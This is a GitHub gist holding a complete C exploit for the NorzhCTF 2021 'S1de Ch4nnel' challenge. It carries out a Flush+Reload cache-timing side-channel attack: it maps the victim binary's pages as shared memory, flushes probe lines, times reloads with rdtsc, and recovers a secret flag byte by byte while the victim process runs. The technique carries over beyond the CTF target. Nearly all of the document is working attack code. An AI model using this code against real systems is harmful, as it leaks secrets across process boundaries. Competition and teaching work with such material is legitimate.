Skip to content

Instantly share code, notes, and snippets.

@00xc

00xc/solve.c Secret

Created May 26, 2021 18:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 00xc/b62e0fbe3c29e5a78782c622ed48568f to your computer and use it in GitHub Desktop.
Save 00xc/b62e0fbe3c29e5a78782c622ed48568f to your computer and use it in GitHub Desktop.
NorzhCTF 2021 - S1de Ch4nnel exploit
/*
* Compile with: gcc -Wall -Wextra -O0 -std=c99 exploit.c -o exploit
*/
#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <limits.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <x86intrin.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#define NUM_ROUNDS 10 /* Number of times to probe each character. The higher, the more robust the results should be */
#define VERBOSE 0 /* Print additional information */
#define PROGRAM "./chall" /* Name of the original binary */
#define PAGE_SIZE 512 /* Page size defined in the original binary */
#define ARR_OFFSET 0x2020 /* Offset of the array we are trying to leak in the file */
#define FLAG_LEN 28 /* Length of the flag in the original binary (minus the null byte) */
typedef struct {
void* ptr;
unsigned long hits;
} Probe;
const char* the_array;
void pin_to_core(int id) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(id, &set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &set) == -1)
err(EXIT_FAILURE, "sched_setaffinity");
}
size_t get_file_size(int fd) {
struct stat st;
fstat(fd, &st);
return st.st_size;
}
/* Start a new process (through /bin/sh) and return a pipe file descriptor to that process' stdin */
int start_process(const char* path) {
pid_t pid;
int fd[2];
if (pipe(fd))
err(EXIT_FAILURE, "pipe");
pid = fork();
if (pid == -1)
err(EXIT_FAILURE, "fork");
if (pid == 0) {
pin_to_core(0);
close(fd[1]);
while (dup2(fd[0], STDIN_FILENO) == -1) {}
close(fd[0]);
execl("/bin/sh", "/bin/sh", "-c", path, NULL);
}
close(fd[0]);
return fd[1];
}
/*
* https://github.com/defuse/flush-reload-attacks/blob/master/flush-reload/myversion/attacktools.h
*/
unsigned long probe(char *adrs) {
volatile unsigned long time;
__asm__ volatile(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax \n"
" lfence \n"
" rdtsc \n"
" subl %%esi, %%eax \n"
" clflush 0(%1) \n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return time;
}
char next_char(unsigned int offset, int fd) {
unsigned int i, j, k, candidate;
Probe probes[256] = {0};
char outbuf[4] = {0};
unsigned long time, min_time, max_hits = 0;
char out;
/* Set up a probe for each memory location to monitor */
for (i = 0; i < 256; ++i) {
probes[i].ptr = (void*) the_array + i * PAGE_SIZE;
probes[i].hits = 0;
}
sprintf(outbuf, "%2d\n", offset);
for (i = 0; i < NUM_ROUNDS; ++i) {
/* Flush the probes */
for (j = 0; j < 256; ++j)
_mm_clflush(probes[j].ptr);
/* Make the victim access `the_array` */
write(fd, outbuf, 3);
min_time = ULONG_MAX;
candidate = 0;
/* Check time to access each probe */
for (j = 0; j < 256; ++j) {
/*
* https://github.com/crozone/SpectrePoC/blob/master/spectre.c
*/
k = ((j * 167) + 13) & 255;
time = probe(probes[k].ptr);
if (time < min_time) {
min_time = time;
candidate = k;
}
/* Add small delay */
for (volatile int f = 0; f < 0x3000; ++f) {}
}
probes[candidate].hits++;
}
/* Get the probe with the biggest amount of hits */
for (i = 0; i < 256; ++i) {
#if (VERBOSE == 1)
if (probes[i].hits)
fprintf(stderr, "%d : %ld hits\n", i, probes[i].hits);
#endif
if (probes[i].hits > max_hits) {
max_hits = probes[i].hits;
out = i;
}
}
#if (VERBOSE == 1)
fprintf(stderr, "----------------\n");
#endif
return out;
}
int main() {
unsigned int i;
int fd;
size_t file_size;
char flag[FLAG_LEN + 1] = {0};
void* addr;
int pipe_fd;
pin_to_core(0);
pipe_fd = start_process(PROGRAM);
fd = open(PROGRAM, O_RDONLY);
if (fd == -1)
err(EXIT_FAILURE, "open");
file_size = get_file_size(fd);
addr = mmap(NULL, file_size, PROT_READ, MAP_SHARED, fd, 0);
close(fd);
if (addr == (char*)-1){
close(pipe_fd);
err(EXIT_FAILURE, "mmap");
}
the_array = (char*)(addr + ARR_OFFSET);
for (i = 0; i < FLAG_LEN + 1; ++i) {
flag[i] = next_char(48 + i, pipe_fd);
}
fprintf(stderr, "Flag: %s\n", flag);
close(pipe_fd);
munmap(addr, file_size);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment